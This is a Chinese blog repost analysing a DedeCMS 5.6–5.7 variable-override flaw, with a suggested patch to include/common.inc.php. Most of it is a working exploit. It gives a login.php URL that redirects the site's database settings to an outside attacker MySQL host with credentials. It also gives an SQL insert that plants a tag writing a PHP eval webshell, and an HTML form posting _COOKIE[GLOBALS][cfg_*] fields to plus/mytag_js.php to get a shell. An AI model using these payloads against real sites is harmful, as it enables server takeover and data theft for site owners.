文档章节

详细分析下dedecms的这个劫持数据库洞子

mickelfeng
 mickelfeng
发布于 2014/01/07 18:56
字数 855
阅读 599
收藏 4

「深度学习福利」大神带你进阶工程师,立即查看>>>

 漏洞不是我发的,这里仅仅只是分析这个漏洞的成因    

    今天看到微博看到dedecms出洞了,上土司看了一下,同一个问题,暂时公布的有2个位置,

dede/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

    上面这个是知道后台地址的利用方式

    另一种如下,下本地装一个dede,执行一下语句,很简单,写了一个dedetag,生成shell的

SQL 语句:

insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}');

    再用构造的表单提交数据库信息到plus/mytag_js.php?aid=1,覆盖掉数据库的全局参数,导致目标站的mysql类链接到黑客构造的mysql数据库,shell 在同目录下 1.php

    分析下mytag_js.php,一开始引用了配置文件,跟进去看看:

require_once(dirname(__FILE__).'/../include/common.inc.php');

    会发现下面代码:

以下是引用片段:

if (!defined('DEDEREQUEST'))  

    //检查和注册外部提交的变量 
    foreach($_REQUEST as $_k=>$_v)//这里是关键, 
    { 
        if( strlen($_k)>0 && preg_match('/^(cfg_|GLOBALS)/',$_k) )//这里是关键, 
        {//如果键名中有cfg_或GLOBALS,就退出了 
            exit('Request var not allow!'); 
        } 
    } 
    foreach(Array('_GET','_POST','_COOKIE') as $_request) 
    { 
        foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);//addslashes过滤的 
    } 
}

    上面这个套路过滤了引号之类的注入问题,变量覆盖虽有过滤,但是没过滤完全,被多维数组绕过了,

    如_COOKIE[GLOBALS][cfg_dbuser]这个变量,foreach($_REQUEST as $_k=>$_v)之后,这个$k变成_COOKIE,从而绕过了过滤

    $v变成了[GLOBALS][cfg_dbuser],从而覆盖了data/common.inc.php中的数据库配置变量,

    测试5.6 ,5.7都存在,用dedecms的站非常多,这次估计得悲剧一大片。

    修补的方法官方论坛有位斑竹给出了代码,如下

    找到include/common.inc.php文件

    找到

foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )
{
  exit('Request var not allow!');
}
}


    替换为下面的代码:

function CheckRequest(&$val) {
        if (is_array($val)) {
            foreach ($val as $_k=>$_v) {
                CheckRequest($_k); 
                CheckRequest($val[$_k]);
            }
        } else
        {
            if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )
            {
                exit('Request var not allow!');
            }
        }
    }
CheckRequest($_REQUEST);

------------------------------------------------------------------------------------------------

    By:jannock

    漏洞细节已经传遍了(http://www.t00ls.net/thread-17354-1-1.htmlhttp://lcx.cc/?FoxNews=1681.html),又没得玩了。

    网传的都是说要知道后台才能利用,但不用,只要 plus 目录存在,服务器能外连,就能拿shell。

    前题条件,必须准备好自己的dede数据库,然后插入数据:

以下是引用片段:

insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}');

    再用下面表单提交,shell 就在同目录下  1.php。原理自己研究。。。

以下是引用片段:

<form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();">
<input type="text" value="http://localhost:8080/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>

本文“DedeCms v5.6-5.7 爆严重安全漏洞 …… - 拿 WebShell EXP”,来自:Nuclear'Atk 网络安全研究中心,本文地址:http://lcx.cc/?i=1682,转载请注明作者及出处!


mickelfeng

mickelfeng

粉丝 238
博文 2811
码字总数 607897
作品 0
成都
高级程序员
私信 提问
加载中
请先登录后再评论。
Flappy Bird(安卓版)逆向分析(一)

更改每过一关的增长分数 反编译的步骤就不介绍了,我们直接来看反编译得到的文件夹 方法1:在smali目录下,我们看到org/andengine/,可以知晓游戏是由andengine引擎开发的。打开/res/raw/at...

enimey
2014/03/04
6.2K
18
beego API开发以及自动化文档

beego API开发以及自动化文档 beego1.3版本已经在上个星期发布了,但是还是有很多人不了解如何来进行开发,也是在一步一步的测试中开发,期间QQ群里面很多人都问我如何开发,我的业余时间实在...

astaxie
2014/06/25
2.7W
22
Nutch学习笔记4-Nutch 1.7 的 索引篇 ElasticSearch

上一篇讲解了爬取和分析的流程,很重要的收获就是: 解析过程中,会根据页面的ContentType获得一系列的注册解析器, 依次调用每个解析器,当其中一个解析成功后就返回,否则继续执行下一个解...

强子哥哥
2014/06/26
712
0
首列固定的列表

实现特殊的表格(UITableView)效果:即表格中的首列固定不动,而每一行除了首列均可左右拖动,以展现每一行更多内容。 作者谭林江(@无法越狱的痛)说:去益盟面试回来,感觉聊得有点郁闷,...

匿名
2013/01/24
1.3K
0
代码生成器--Codgen

Codgen是一个基于数据库元数据模型,使用freemarker模板引擎来构建输出的代码生成器。freemarker的数据模型结构通常来说都是一个Map树状结构模型,codgen也不例外,它的数据模型这棵树的根节...

黄天政
2013/01/29
1.4W
2

没有更多内容

加载失败,请刷新页面

加载更多

一年Node.js开发开发经验总结

写在前面 不知不觉的,写Node.js已经一年了。不同于最开始的demo、本地工具等,这一年里,都是用Node.js写的线上业务。从一开始的Node.js同构直出,到最近的Node接入层,也算是对Node开发入门...

osc_2fb62vw0
10分钟前
0
0
详解斜率优化

详解斜率优化 斜率优化的话前几个月学过一次,然后感觉会了,结果今天遇到个题,比赛时花了1h硬敲没怼出来,然后又去看了看人家的讲解,加上自己疯狂yy,才发现(原来很水嘛)上次只是略懂皮...

osc_eumlh0pn
11分钟前
0
0
pytest文档46-关于https请求警告问题(InsecureRequestWarning: Unverified HTTPS request is being made)

前言 使用 pytest 执行 https 请求用例的时候,控制台会出现警告:InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised......

osc_8s3utzxr
13分钟前
8
0
进程间通信和线程间通信的几种方式

进程间通信和线程间通信的几种方式 进程、线程、协程之概念理解 进程和线程、协程的区别 进程 进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配和调度的...

osc_we9lokaj
13分钟前
0
0
给定一个包含大写字母和小写字母的字符串,找到通过这些字母构造成的最长的回文串。在构造过程中,请注意区分大小写。比如"Aa"不能当做一个回文字符串。注 意:假设字符串的长度不会超过 1010。

给定一个包含大写字母和小写字母的字符串,找到通过这些字母构造成的最长的回文串。在构造过程中,请注意区分大小写。比如"Aa"不能当做一个回文字符串。注 意:假设字符串的长度不会超过 1010...

osc_kedi1mvz
14分钟前
7
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部